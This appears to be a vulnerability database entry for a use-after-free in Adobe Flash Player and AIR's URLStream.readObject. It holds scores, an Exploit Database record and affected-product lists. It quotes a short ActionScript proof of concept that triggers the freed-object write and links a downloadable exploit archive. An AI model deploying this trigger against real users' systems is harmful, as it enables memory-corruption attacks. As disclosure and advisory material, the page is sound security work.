Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 39649
Publication date : 2016-03-31
22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=611
There is a use-after-free in URLStream.readObject. If the object read is a registered class, the constructor will get invoked to create the object. If the constructor calls URLStream.close, the URLStream will get freed, and then the deserialization function will continue to write to it.
A minimal PoC is as follows:
//In main
flash.net.registerClassAlias("bob", myclass);
var u:URLStream = new URLStream();
myclass.u = u;
u.addEventListener(Event.COMPLETE, func);
u.load(new URLRequest("file.txt"));
function func(){
trace(u.readObject());
}
// in myclass
static public var u;
public function myclass()
{
u.close();
}
A sample script and SWF are attached. Note that file.txt needs to be in the same folder as getproperty.swf on a remote server.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39649.zip
Products Mentioned
Configuraton 0
Adobe>>Air_sdk >> Version To (including) 19.0.0.241
Adobe>>Air_sdk_\&_compiler >> Version To (including) 19.0.0.241
Apple>>Iphone_os >> Version *
Apple>>Mac_os_x >> Version *
Google>>Android >> Version *
Microsoft>>Windows >> Version *
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.548
Linux>>Linux_kernel >> Version *
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.241
Apple>>Mac_os_x >> Version *
Microsoft>>Windows >> Version *
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.261
Adobe>>Flash_player >> Version 19.0.0.185
Adobe>>Flash_player >> Version 19.0.0.207
Adobe>>Flash_player >> Version 19.0.0.226
Adobe>>Flash_player >> Version 19.0.0.245
Apple>>Mac_os_x >> Version *
Microsoft>>Windows >> Version *
References